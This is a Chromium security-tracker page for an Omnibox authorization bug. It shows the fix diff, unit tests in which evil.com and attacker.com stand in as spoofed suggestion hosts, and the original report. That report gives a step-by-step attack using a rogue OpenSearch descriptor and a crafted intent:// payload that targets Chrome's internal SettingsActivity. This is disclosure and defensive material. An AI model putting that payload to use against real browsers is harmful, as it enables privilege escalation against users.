Medium chrome Authorization Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactIncorrect authorization in Search
DescriptionIncorrect authorization in Search
ComponentSearch
Sub-componentOmnibox
Bug ClassAuthorization Error
Tracker501729675
Fix commit406b2acb34a6 (chromium/src) +220/-10
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-06

Changed Functions

FunctionChangeNotes
TEST_F
components/omnibox/browser/base_search_provider_unittest.cc
modified
TEST
components/search/search_unittest.cc
modified

Files Changed

  • components/search/search.cc
  • components/search/search.h
  • components/omnibox/browser/base_search_provider.cc
  • components/search/search_unittest.cc
  • components/search/BUILD.gn
  • components/omnibox/browser/base_search_provider_unittest.cc
From 406b2acb34a603ac647ad84f1703660eb06617c5 Mon Sep 17 00:00:00 2001
From: Ankush Singh <[email protected]>
Date: Wed, 23 Sep 2026 20:12:38 -0700
Subject: [PATCH] Reland "[omnibox] Validate suggestion endpoints in TemplateURLIsGoogle"

This is a reland of commit 9df7336992b207c6129a871945ccfee4f9723d8d

The original CL was reverted due to failures in AssistantAIMTestCase.
The EarlGrey test harness configures Chromium with
--google-base-url=http://localhost, which failed the strict
cryptographic scheme check and disabled AIM / Co-browse eligibility.

What changed in this reland:
TemplateURLIsGoogle() now permits localhost / loopback endpoints
(net::IsLocalhost) alongside cryptographic (HTTPS) schemes. Tests were
not updated to HTTPS because iOS EarlGrey test harnesses rely on HTTP
EmbeddedTestServer to avoid WKWebView certificate trust errors and
localhost SSL hangs.

Original change's description:
> [omnibox] Validate suggestion endpoints in TemplateURLIsGoogle
>
> Previously, search::TemplateURLIsGoogle() only checked whether the
> search URL resolved to Google. A search engine configured with a Google
> search URL but a third-party suggestion URL (e.g. via OpenSearch
> registration) would still be treated as Google, allowing untrusted
> suggestion responses to populate Google-only fields such as answer
> templates, actions in suggest, and cross-origin entity images.
>
> Update TemplateURLIsGoogle() to require that:
> 1. The search URL is valid and uses a cryptographic scheme (HTTPS).
> 2. When a suggestion URL is specified, it is also valid, uses a
> cryptographic scheme (HTTPS), and resolves to SEARCH_ENGINE_GOOGLE.
>
> Fixed: 501729675
> Change-Id: I8a4ab326f8a8476f452cbf6569ebd3d40d681450
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8362993
> Commit-Queue: Ankush Singh <[email protected]>
> Reviewed-by: manuk hovanesian <[email protected]>
> Reviewed-by: Moe Ahmadi <[email protected]>
> Auto-Submit: Ankush Singh <[email protected]>
> Cr-Commit-Position: refs/heads/main@{#1702439}

Bug: 501729675
Cq-Include-Trybots: luci.chromium.try:ios-asan
Change-Id: I36334ac8c01d4f027b4a4f1cb33f2ca91389d4f7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8440537
Auto-Submit: Ankush Singh <[email protected]>
Reviewed-by: Moe Ahmadi <[email protected]>
Commit-Queue: Moe Ahmadi <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1704023}
---
diff --git a/components/omnibox/browser/base_search_provider.cc b/components/omnibox/browser/base_search_provider.cc
index f2e3b02..a6ef0cc 100644
--- a/components/omnibox/browser/base_search_provider.cc
+++ b/components/omnibox/browser/base_search_provider.cc
@@ -455,13 +455,6 @@
     return false;
   }
 
-  // Make sure the suggest endpoint is also a Google domain URL.
-  if (!google_util::IsGoogleDomainUrl(suggest_url,
-                                      google_util::DISALLOW_SUBDOMAIN,
-                                      google_util::ALLOW_NON_STANDARD_PORTS)) {
-    return false;
-  }
-
   return true;
 }
 
diff --git a/components/search/search.cc b/components/search/search.cc
index a7167fa..8a75efd 100644
--- a/components/search/search.cc
+++ b/components/search/search.cc
@@ -6,12 +6,24 @@
 
 #include "build/build_config.h"
 #include "components/search_engines/search_engine_type.h"
+#include "components/search_engines/search_engine_utils.h"
 #include "components/search_engines/search_terms_data.h"
 #include "components/search_engines/template_url.h"
 #include "components/search_engines/template_url_service.h"
+#include "net/base/url_util.h"
+#include "url/gurl.h"
 
 namespace search {
 
+namespace {
+
+bool IsCryptographicOrLocalhost(const GURL& url) {
+  return url.is_valid() &&
+         (url.SchemeIsCryptographic() || net::IsLocalhost(url));
+}
+
+}  // namespace
+
 bool IsInstantExtendedAPIEnabled() {
 #if BUILDFLAG(IS_IOS) || BUILDFLAG(IS_ANDROID)
   return false;
@@ -30,8 +42,35 @@
 
 bool TemplateURLIsGoogle(const TemplateURL* template_url,
                          const SearchTermsData& search_terms_data) {
-  return template_url != nullptr &&
-         template_url->GetEngineType(search_terms_data) == SEARCH_ENGINE_GOOGLE;
+  if (!template_url ||
+      template_url->GetEngineType(search_terms_data) != SEARCH_ENGINE_GOOGLE) {
+    return false;
+  }
+
+  // The search URL must be valid and use HTTPS (or localhost in tests).
+  const GURL search_url = template_url->GenerateSearchURL(search_terms_data);
+  if (!IsCryptographicOrLocalhost(search_url)) {
+    return false;
+  }
+
+  // If a suggestion URL is configured, it must also be valid, use HTTPS (or
+  // localhost in tests), and resolve to Google. This prevents engines with a
+  // Google search endpoint but an external suggestion endpoint (e.g. spoofed
+  // OpenSearch engines) from passing as trusted Google engines and injecting
+  // privileged actions or answer templates.
+  if (!template_url->suggestions_url().empty()) {
+    const GURL suggest_url =
+        template_url->GenerateSuggestionURL(search_terms_data);
+    if (!IsCryptographicOrLocalhost(suggest_url) ||
+        search_engine_utils::GetEngineType(suggest_url) !=
+            SEARCH_ENGINE_GOOGLE) {
+      return false;
+    }
+  }
+
+  // When no suggestion URL is specified, trust relies on the verified search
+  // URL.
+  return true;
 }
 
 }  // namespace search
diff --git a/components/search/search.h b/components/search/search.h
index 98572faa..f4ebd09 100644
--- a/components/search/search.h
+++ b/components/search/search.h
@@ -19,7 +19,11 @@
 bool DefaultSearchProviderIsGoogle(
     const TemplateURLService* template_url_service);
 
-// Returns whether supplied template URL is Google template URL.
+// Returns true if `template_url` is non-nullptr and its search URL is
+// cryptographic (or loopback/localhost) and resolves to
+// `SEARCH_ENGINE_GOOGLE`. If `template_url` specifies a suggestions URL, that
+// URL must also be cryptographic (or loopback/localhost) and resolve to
+// `SEARCH_ENGINE_GOOGLE`.
 bool TemplateURLIsGoogle(const TemplateURL* template_url,
                          const SearchTermsData& search_terms_data);
 }  // namespace search
diff --git a/components/omnibox/browser/base_search_provider_unittest.cc b/components/omnibox/browser/base_search_provider_unittest.cc
index 50046f8..62e7ac91 100644
--- a/components/omnibox/browser/base_search_provider_unittest.cc
+++ b/components/omnibox/browser/base_search_provider_unittest.cc
@@ -942,6 +942,45 @@
     EXPECT_EQ("https://example.com/image.png",
               map.begin()->second.image_url.spec());
   }
+
+  // 3. Spoofed engine (Google search URL + attacker suggestion URL): fields
+  // should NOT be populated.
+  {
+    TemplateURLData spoofed_data;
+    spoofed_data.SetURL("https://www.google.com/search?q={searchTerms}");
+    spoofed_data.suggestions_url =
+        "https://evil.com/complete/search?q={searchTerms}";
+    auto spoofed_turl = std::make_unique<TemplateURL>(spoofed_data);
+    TestBaseSearchProvider::MatchMap map;
+    provider_->AddMatchToMap(
+        result, AutocompleteInput(), spoofed_turl.get(),
+        client_->GetTemplateURLService()->search_terms_data(),
+        TemplateURLRef::NO_SUGGESTION_CHOSEN, false, false, &map);
+    ASSERT_EQ(1U, map.size());
+    EXPECT_FALSE(map.begin()->second.answer_template.has_value());
+    EXPECT_TRUE(map.begin()->second.image_url.is_empty());
+  }
+
+  // 4. Google search engine with Google suggestion URL: fields SHOULD be
+  // populated.
+  {
+    TemplateURLData google_with_suggest_data;
+    google_with_suggest_data.SetURL(
+        "https://www.google.com/search?q={searchTerms}");
+    google_with_suggest_data.suggestions_url =
+        "https://www.google.com/complete/search?q={searchTerms}";
+    auto google_with_suggest_turl =
+        std::make_unique<TemplateURL>(google_with_suggest_data);
+    TestBaseSearchProvider::MatchMap map;
+    provider_->AddMatchToMap(
+        result, AutocompleteInput(), google_with_suggest_turl.get(),
+        client_->GetTemplateURLService()->search_terms_data(),
+        TemplateURLRef::NO_SUGGESTION_CHOSEN, false, false, &map);
+    ASSERT_EQ(1U, map.size());
+    EXPECT_TRUE(map.begin()->second.answer_template.has_value());
+    EXPECT_EQ("https://example.com/image.png",
+              map.begin()->second.image_url.spec());
+  }
 }
 
 TEST_F(BaseSearchProviderTest, EntityImageMustBeHostedBySearchEngine) {
diff --git a/components/search/search_unittest.cc b/components/search/search_unittest.cc
index d289e78..30b77c8b 100644
--- a/components/search/search_unittest.cc
+++ b/components/search/search_unittest.cc
@@ -4,11 +4,144 @@
 
 #include "components/search/search.h"
 
+#include "base/test/scoped_command_line.h"
 #include "build/build_config.h"
+#include "components/search_engines/search_terms_data.h"
+#include "components/search_engines/template_url.h"
+#include "components/search_engines/template_url_data.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace search {
 
+TEST(SearchTest, TemplateURLIsGoogle) {
+  SearchTermsData search_terms_data;
+
+  // Nullptr returns false.
+  EXPECT_FALSE(TemplateURLIsGoogle(nullptr, search_terms_data));
+
+  // Google search URL + Google suggestion URL returns true.
+  TemplateURLData google_data;
+  google_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  google_data.suggestions_url =
+      "https://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL google_turl(google_data);
+  EXPECT_TRUE(TemplateURLIsGoogle(&google_turl, search_terms_data));
+
+  // Google search URL + empty suggestion URL returns true.
+  TemplateURLData google_no_suggest_data;
+  google_no_suggest_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  TemplateURL google_no_suggest_turl(google_no_suggest_data);
+  EXPECT_TRUE(TemplateURLIsGoogle(&google_no_suggest_turl, search_terms_data));
+
+  // Google search URL + non-Google suggestion URL (spoofed engine) returns
+  // false.
+  TemplateURLData spoofed_data;
+  spoofed_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  spoofed_data.suggestions_url =
+      "https://attacker.com/complete/search?q={searchTerms}";
+  TemplateURL spoofed_turl(spoofed_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&spoofed_turl, search_terms_data));
+
+  // Non-Google search URL + Google suggestion URL returns false.
+  TemplateURLData non_google_data;
+  non_google_data.SetURL("https://attacker.com/search?q={searchTerms}");
+  non_google_data.suggestions_url =
+      "https://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL non_google_turl(non_google_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&non_google_turl, search_terms_data));
+
+  // Google search URL + invalid suggestion URL returns false.
+  TemplateURLData invalid_suggest_data;
+  invalid_suggest_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  invalid_suggest_data.suggestions_url = "invalid url with spaces";
+  TemplateURL invalid_suggest_turl(invalid_suggest_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&invalid_suggest_turl, search_terms_data));
+
+  // Google search URL + Google template placeholder ({google:baseSuggestURL})
+  // returns true.
+  TemplateURLData google_placeholder_data;
+  google_placeholder_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  google_placeholder_data.suggestions_url =
+      "{google:baseSuggestURL}search?q={searchTerms}";
+  TemplateURL google_placeholder_turl(google_placeholder_data);
+  EXPECT_TRUE(TemplateURLIsGoogle(&google_placeholder_turl, search_terms_data));
+
+  // Google search URL + spoofed Google subdomain returns false (subdomains
+  // disallowed).
+  TemplateURLData subdomain_data;
+  subdomain_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  subdomain_data.suggestions_url =
+      "https://attacker.google.com/complete/search?q={searchTerms}";
+  TemplateURL subdomain_turl(subdomain_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&subdomain_turl, search_terms_data));
+
+  // Google search URL + non-cryptographic (HTTP) suggestion URL returns false.
+  TemplateURLData http_data;
+  http_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  http_data.suggestions_url =
+      "http://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL http_turl(http_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&http_turl, search_terms_data));
+
+  // Non-cryptographic (HTTP) search URL + Google suggestion URL returns false.
+  TemplateURLData http_search_data;
+  http_search_data.SetURL("http://www.google.com/search?q={searchTerms}");
+  http_search_data.suggestions_url =
+      "https://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL http_search_turl(http_search_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&http_search_turl, search_terms_data));
+
+  // Non-cryptographic (HTTP) search URL + empty suggestion URL returns false.
+  TemplateURLData http_search_no_suggest_data;
+  http_search_no_suggest_data.SetURL(
+      "http://www.google.com/search?q={searchTerms}");
+  TemplateURL http_search_no_suggest_turl(http_search_no_suggest_data);
+  EXPECT_FALSE(
+      TemplateURLIsGoogle(&http_search_no_suggest_turl, search_terms_data));
+
+  // Localhost (HTTP) search URL + localhost (HTTP) suggestion URL returns true
+  // when configured as Google base URL (e.g. in test suites using
+  // EmbeddedTestServer).
+  {
+    base::test::ScopedCommandLine scoped_command_line;
+    scoped_command_line.GetProcessCommandLine()->AppendSwitchASCII(
+        "google-base-url", "http://localhost/");
+
+    TemplateURLData localhost_data;
+    localhost_data.SetURL("http://localhost/search?q={searchTerms}");
+    localhost_data.suggestions_url =
+        "http://localhost/complete/search?q={searchTerms}";
+    TemplateURL localhost_turl(localhost_data);
+    EXPECT_TRUE(TemplateURLIsGoogle(&localhost_turl, search_terms_data));
+
+    // Localhost search URL + external attacker suggestion URL returns false.
+    TemplateURLData localhost_attacker_data;
+    localhost_attacker_data.SetURL("http://localhost/search?q={searchTerms}");
+    localhost_attacker_data.suggestions_url =
+        "https://attacker.com/complete/search?q={searchTerms}";
+    TemplateURL localhost_attacker_turl(localhost_attacker_data);
+    EXPECT_FALSE(
+        TemplateURLIsGoogle(&localhost_attacker_turl, search_terms_data));
+  }
+
+  // 127.0.0.1 (HTTP) loopback search URL returns true when configured as
+  // Google base URL.
+  {
+    base::test::ScopedCommandLine scoped_command_line;
+    scoped_command_line.GetProcessCommandLine()->AppendSwitchASCII(
+        "google-base-url", "http://127.0.0.1/");
+
+    TemplateURLData loopback_data;
+    loopback_data.SetURL("http://127.0.0.1/search?q={searchTerms}");
+    loopback_data.suggestions_url =
+        "http://127.0.0.1/complete/search?q={searchTerms}";
+    TemplateURL loopback_turl(loopback_data);
+    EXPECT_TRUE(TemplateURLIsGoogle(&loopback_turl, search_terms_data));
+  }
+}
+
 #if !BUILDFLAG(IS_IOS) && !BUILDFLAG(IS_ANDROID)
 
 TEST(SearchTest, InstantExtendedAPIEnabled) {
diff --git a/components/search/BUILD.gn b/components/search/BUILD.gn
index bf2b57a..a4ac906 100644
--- a/components/search/BUILD.gn
+++ b/components/search/BUILD.gn
@@ -13,6 +13,7 @@
   deps = [
     "//base",
     "//components/search_engines",
+    "//net",
   ]
 }
 
@@ -28,6 +29,7 @@
     ":search",
     "//base",
     "//base/test:test_support",
+    "//components/search_engines",
     "//testing/gmock",
     "//testing/gtest",
   ]
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/components/omnibox/browser/base_search_provider_unittest.cc b/components/omnibox/browser/base_search_provider_unittest.cc
index 50046f8..62e7ac91 100644
--- a/components/omnibox/browser/base_search_provider_unittest.cc
+++ b/components/omnibox/browser/base_search_provider_unittest.cc
@@ -942,6 +942,45 @@
     EXPECT_EQ("https://example.com/image.png",
               map.begin()->second.image_url.spec());
   }
+
+  // 3. Spoofed engine (Google search URL + attacker suggestion URL): fields
+  // should NOT be populated.
+  {
+    TemplateURLData spoofed_data;
+    spoofed_data.SetURL("https://www.google.com/search?q={searchTerms}");
+    spoofed_data.suggestions_url =
+        "https://evil.com/complete/search?q={searchTerms}";
+    auto spoofed_turl = std::make_unique<TemplateURL>(spoofed_data);
+    TestBaseSearchProvider::MatchMap map;
+    provider_->AddMatchToMap(
+        result, AutocompleteInput(), spoofed_turl.get(),
+        client_->GetTemplateURLService()->search_terms_data(),
+        TemplateURLRef::NO_SUGGESTION_CHOSEN, false, false, &map);
+    ASSERT_EQ(1U, map.size());
+    EXPECT_FALSE(map.begin()->second.answer_template.has_value());
+    EXPECT_TRUE(map.begin()->second.image_url.is_empty());
+  }
+
+  // 4. Google search engine with Google suggestion URL: fields SHOULD be
+  // populated.
+  {
+    TemplateURLData google_with_suggest_data;
+    google_with_suggest_data.SetURL(
+        "https://www.google.com/search?q={searchTerms}");
+    google_with_suggest_data.suggestions_url =
+        "https://www.google.com/complete/search?q={searchTerms}";
+    auto google_with_suggest_turl =
+        std::make_unique<TemplateURL>(google_with_suggest_data);
+    TestBaseSearchProvider::MatchMap map;
+    provider_->AddMatchToMap(
+        result, AutocompleteInput(), google_with_suggest_turl.get(),
+        client_->GetTemplateURLService()->search_terms_data(),
+        TemplateURLRef::NO_SUGGESTION_CHOSEN, false, false, &map);
+    ASSERT_EQ(1U, map.size());
+    EXPECT_TRUE(map.begin()->second.answer_template.has_value());
+    EXPECT_EQ("https://example.com/image.png",
+              map.begin()->second.image_url.spec());
+  }
 }
 
 TEST_F(BaseSearchProviderTest, EntityImageMustBeHostedBySearchEngine) {
diff --git a/components/search/search_unittest.cc b/components/search/search_unittest.cc
index d289e78..30b77c8b 100644
--- a/components/search/search_unittest.cc
+++ b/components/search/search_unittest.cc
@@ -4,11 +4,144 @@
 
 #include "components/search/search.h"
 
+#include "base/test/scoped_command_line.h"
 #include "build/build_config.h"
+#include "components/search_engines/search_terms_data.h"
+#include "components/search_engines/template_url.h"
+#include "components/search_engines/template_url_data.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace search {
 
+TEST(SearchTest, TemplateURLIsGoogle) {
+  SearchTermsData search_terms_data;
+
+  // Nullptr returns false.
+  EXPECT_FALSE(TemplateURLIsGoogle(nullptr, search_terms_data));
+
+  // Google search URL + Google suggestion URL returns true.
+  TemplateURLData google_data;
+  google_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  google_data.suggestions_url =
+      "https://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL google_turl(google_data);
+  EXPECT_TRUE(TemplateURLIsGoogle(&google_turl, search_terms_data));
+
+  // Google search URL + empty suggestion URL returns true.
+  TemplateURLData google_no_suggest_data;
+  google_no_suggest_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  TemplateURL google_no_suggest_turl(google_no_suggest_data);
+  EXPECT_TRUE(TemplateURLIsGoogle(&google_no_suggest_turl, search_terms_data));
+
+  // Google search URL + non-Google suggestion URL (spoofed engine) returns
+  // false.
+  TemplateURLData spoofed_data;
+  spoofed_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  spoofed_data.suggestions_url =
+      "https://attacker.com/complete/search?q={searchTerms}";
+  TemplateURL spoofed_turl(spoofed_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&spoofed_turl, search_terms_data));
+
+  // Non-Google search URL + Google suggestion URL returns false.
+  TemplateURLData non_google_data;
+  non_google_data.SetURL("https://attacker.com/search?q={searchTerms}");
+  non_google_data.suggestions_url =
+      "https://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL non_google_turl(non_google_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&non_google_turl, search_terms_data));
+
+  // Google search URL + invalid suggestion URL returns false.
+  TemplateURLData invalid_suggest_data;
+  invalid_suggest_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  invalid_suggest_data.suggestions_url = "invalid url with spaces";
+  TemplateURL invalid_suggest_turl(invalid_suggest_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&invalid_suggest_turl, search_terms_data));
+
+  // Google search URL + Google template placeholder ({google:baseSuggestURL})
+  // returns true.
+  TemplateURLData google_placeholder_data;
+  google_placeholder_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  google_placeholder_data.suggestions_url =
+      "{google:baseSuggestURL}search?q={searchTerms}";
+  TemplateURL google_placeholder_turl(google_placeholder_data);
+  EXPECT_TRUE(TemplateURLIsGoogle(&google_placeholder_turl, search_terms_data));
+
+  // Google search URL + spoofed Google subdomain returns false (subdomains
+  // disallowed).
+  TemplateURLData subdomain_data;
+  subdomain_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  subdomain_data.suggestions_url =
+      "https://attacker.google.com/complete/search?q={searchTerms}";
+  TemplateURL subdomain_turl(subdomain_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&subdomain_turl, search_terms_data));
+
+  // Google search URL + non-cryptographic (HTTP) suggestion URL returns false.
+  TemplateURLData http_data;
+  http_data.SetURL("https://www.google.com/search?q={searchTerms}");
+  http_data.suggestions_url =
+      "http://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL http_turl(http_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&http_turl, search_terms_data));
+
+  // Non-cryptographic (HTTP) search URL + Google suggestion URL returns false.
+  TemplateURLData http_search_data;
+  http_search_data.SetURL("http://www.google.com/search?q={searchTerms}");
+  http_search_data.suggestions_url =
+      "https://www.google.com/complete/search?q={searchTerms}";
+  TemplateURL http_search_turl(http_search_data);
+  EXPECT_FALSE(TemplateURLIsGoogle(&http_search_turl, search_terms_data));
+
+  // Non-cryptographic (HTTP) search URL + empty suggestion URL returns false.
+  TemplateURLData http_search_no_suggest_data;
+  http_search_no_suggest_data.SetURL(
+      "http://www.google.com/search?q={searchTerms}");
+  TemplateURL http_search_no_suggest_turl(http_search_no_suggest_data);
+  EXPECT_FALSE(
+      TemplateURLIsGoogle(&http_search_no_suggest_turl, search_terms_data));
+
+  // Localhost (HTTP) search URL + localhost (HTTP) suggestion URL returns true
+  // when configured as Google base URL (e.g. in test suites using
+  // EmbeddedTestServer).
+  {
+    base::test::ScopedCommandLine scoped_command_line;
+    scoped_command_line.GetProcessCommandLine()->AppendSwitchASCII(
+        "google-base-url", "http://localhost/");
+
+    TemplateURLData localhost_data;
+    localhost_data.SetURL("http://localhost/search?q={searchTerms}");
+    localhost_data.suggestions_url =
+        "http://localhost/complete/search?q={searchTerms}";
+    TemplateURL localhost_turl(localhost_data);
+    EXPECT_TRUE(TemplateURLIsGoogle(&localhost_turl, search_terms_data));
+
+    // Localhost search URL + external attacker suggestion URL returns false.
+    TemplateURLData localhost_attacker_data;
+    localhost_attacker_data.SetURL("http://localhost/search?q={searchTerms}");
+    localhost_attacker_data.suggestions_url =
+        "https://attacker.com/complete/search?q={searchTerms}";
+    TemplateURL localhost_attacker_turl(localhost_attacker_data);
+    EXPECT_FALSE(
+        TemplateURLIsGoogle(&localhost_attacker_turl, search_terms_data));
+  }
+
+  // 127.0.0.1 (HTTP) loopback search URL returns true when configured as
+  // Google base URL.
+  {
+    base::test::ScopedCommandLine scoped_command_line;
+    scoped_command_line.GetProcessCommandLine()->AppendSwitchASCII(
+        "google-base-url", "http://127.0.0.1/");
+
+    TemplateURLData loopback_data;
+    loopback_data.SetURL("http://127.0.0.1/search?q={searchTerms}");
+    loopback_data.suggestions_url =
+        "http://127.0.0.1/complete/search?q={searchTerms}";
+    TemplateURL loopback_turl(loopback_data);
+    EXPECT_TRUE(TemplateURLIsGoogle(&loopback_turl, search_terms_data));
+  }
+}
+
 #if !BUILDFLAG(IS_IOS) && !BUILDFLAG(IS_ANDROID)
 
 TEST(SearchTest, InstantExtendedAPIEnabled) {
Loading diff…

Original Bug Report

reported by [email protected]

Privilege escalation via OpenSearch suggestion spoofing and trusted intent injection

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: Chrome’s OpenSearch parser does not enforce same-origin checks between search and suggestion URLs, and engine classification relies only on the search URL. This allows an attacker to create a misclassified ‘Google’ search engine with a malicious suggestion endpoint. The attacker can then inject Action in Suggest payloads containing arbitrary intent:// URIs that Chrome signs with a trusted authentication token, allowing the launch of internal unexported activities.

Affected files:

  • components/search_engines/template_url.cc
  • components/omnibox/browser/base_search_provider.cc
  • components/omnibox/browser/search_provider.cc
  • components/omnibox/browser/autocomplete_input.cc
  • components/search_engines/template_url_parser.cc
  • chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionInSuggest.java
  • chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionDelegateImpl.java

Estimated timestamp from git blame: 2025-01-09

Summary

A potential privilege escalation and sandbox escape vulnerability exists in Chrome for Android’s Omnibox suggestion handling. An attacker can use a malicious OpenSearch Description Document (OSDD) to register a search engine that Chrome incorrectly classifies as a trusted Google engine. This misclassification allows the attacker to supply malicious ActionInSuggest payloads from their server. These payloads can contain arbitrary intent:// URIs. When the user interacts with the suggestion, Chrome parses the URI and, because it targets Chrome, mistakenly attaches its internal TRUSTED_APPLICATION_CODE_EXTRA token before dispatching it. This allows an attacker to bypass security boundaries, navigate to chrome:// URLs, or launch unexported internal activities like SettingsActivity to perform fragment injection.

Technical Details

  1. OSDD Parsing Lacks Origin Enforcement: When parsing an OSDD (components/search_engines/template_url_parser.cc), Chrome extracts the search <Url> and suggestion <Url> independently without enforcing a same-origin policy.
  2. Engine Misclassification: search::TemplateURLIsGoogle() (components/search/search.cc:31) relies on TemplateURL::GetEngineType(), which determines the engine type by generating a test URL from the search template only. If the search URL points to www.google.com, the engine is classified as SEARCH_ENGINE_GOOGLE, even if the suggestion URL points to an attacker-controlled domain.
  3. Malicious Payload Acceptance: When a user types a query using this engine, SearchProvider fetches suggestions from the attacker’s server. The attacker returns a JSON payload with a google:suggesttemplate field. In BaseSearchProvider::CreateSearchSuggestion() (components/omnibox/browser/base_search_provider.cc:232), the code relies on the flawed is_google check to allow the attachment of OmniboxActionInSuggest objects derived from the attacker’s payload.
  4. Intent Parsing and Trusted Signing: The attacker provides an intent:// URI in the payload’s action_uri field. When the user taps the suggestion, OmniboxActionInSuggest.execute() (chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionInSuggest.java:111) parses the URI into an Intent. It does not sanitize the intent’s component. It then calls delegate.startActivity(intent).
  5. Privilege Escalation: OmniboxActionDelegateImpl.startActivity checks if the intent targets Chrome via IntentUtils.intentTargetsSelf(intent). Since the attacker crafted the intent to target Chrome, this check passes, and IntentUtils.addTrustedIntentExtras(intent) is called. This attaches Chrome’s unforgeable PendingIntent token (TRUSTED_APPLICATION_CODE_EXTRA). The intent is then dispatched, allowing it to reach unexported components (e.g., SettingsActivity fragment injection) and bypass isTrustedIntentFromSelf() checks.

Suggested Reproduction Steps

Note: These are potential steps based on code analysis; a full PoC has not been executed.

  1. Host an OSDD (osdd.xml) at https://attacker.example/:
    <Url type="text/html" template="https://www.google.com/search?q={searchTerms}"/>
    <Url type="application/x-suggestions+json" template="https://attacker.example/suggest?q={searchTerms}"/>
    
  2. Lure a user to https://attacker.example/ to trigger OSDD discovery, or convince them to manually add the search engine.
  3. When the user types the engine’s keyword followed by a space and query in the Omnibox, the attacker’s server receives the request.
  4. The server responds with a JSON payload containing a Base64-encoded google:suggesttemplate specifying an action of type DIRECTIONS_VALUE and an action_uri like: intent://foo#Intent;package=com.android.chrome;component=com.android.chrome/org.chromium.chrome.browser.settings.SettingsActivity;S.show_fragment=org.chromium.chrome.browser.tracing.settings.DeveloperSettings;end
  5. When the user taps the resulting ‘Directions’ chip, Chrome will launch the internal, unexported DeveloperSettings fragment with trusted privileges.

Suggested Fix

  1. Strict Engine Verification: search::TemplateURLIsGoogle() must validate that both the search URL and the suggestion URL belong to a recognized Google domain.
  2. Intent Sanitization: OmniboxActionInSuggest.execute() must sanitize parsed intent:// URIs, similar to ExternalNavigationHandler.sanitizeQueryIntentActivitiesIntent(), ensuring that intent.setComponent(null) and intent.setSelector(null) are called to prevent targeting specific internal activities.
  3. OSDD Origin Validation: Consider enforcing a same-origin policy between search and suggestion URLs during OSDD parsing.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker